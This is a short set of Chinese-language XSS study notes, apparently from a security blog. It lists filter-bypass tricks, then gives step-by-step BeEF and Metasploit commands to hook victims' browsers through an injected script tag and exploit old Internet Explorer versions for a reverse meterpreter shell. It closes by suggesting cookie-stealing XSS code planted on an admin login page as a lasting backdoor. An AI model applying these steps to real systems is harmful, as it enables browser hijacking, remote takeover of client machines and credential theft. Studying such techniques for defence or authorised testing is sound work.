1. 程式人生 > >網絡安全-XSS筆記

網絡安全-XSS筆記

掃描工具 char ret option rip htm console set exp

XSS繞過限制:
1、繞過magic_quotes_gpc
可使用javascript中的String.fromCharCode()
<script>String.fromCharCode()</scrip>
2、HEX編碼
十六進制編碼
https://textmechanic.com/ASCII-Hex-Unicode-Base64-Convertor.html
https://www.asciitohex.com/
3、改變大小寫
4、關閉標簽
5、AWVS 掃描

Kali Linux Beef劫持客戶端瀏覽器:
cd /usr/share/beef-xss 進入目錄
ls 查看目錄
./beef 運行beef

UI URL:管理 網址瀏覽器打開 賬號密碼默認beef
Hook URL: 惡意代碼
使用:
<script src="Hook URL"></script>
管理端 Commands Redirect Browser

beef+msf拿客戶端shell (ie6 xp)
cd /usr/share/beef-xss 進入目錄
./ beef 運行beef
msfconsole 運行msf

msf下執行:
use windows/browser/ms10_002_aurora
set PAYLOAD windows/meterpreter/reverse_tcp
show options

set SRVHOST 客戶端將要訪問的IP
set SRVPORT 將要訪問的端口
set URIPATH / 網站根目錄
set LHOST 客戶端回連IP
set LPORT 客戶端回連端口
exploit

Using URL 為要讓客戶端訪問的url,beef裏設置

session -i 查看得到的shell
session -1 id 查看固定id的shell

shell 拿到權限

beef+msf拿客戶端shell (ie7、8、9)
msf下
use exploit/windows/browser/ie_execcommand_uad
show options
set SRVHOST 回連ip
set SRVPORT 回連端口

set URIPATH /
exploit

XSS漏洞掃描工具
WVS
椰樹
safe3
Xelenium
w3af
vega
xss掃描插件+burp

長期留後門,可將XSS獲取cookie代碼留在管理登錄頁面

Xss平臺搭建
使用工具:
wamp2.2+xss.me源碼

網絡安全-XSS筆記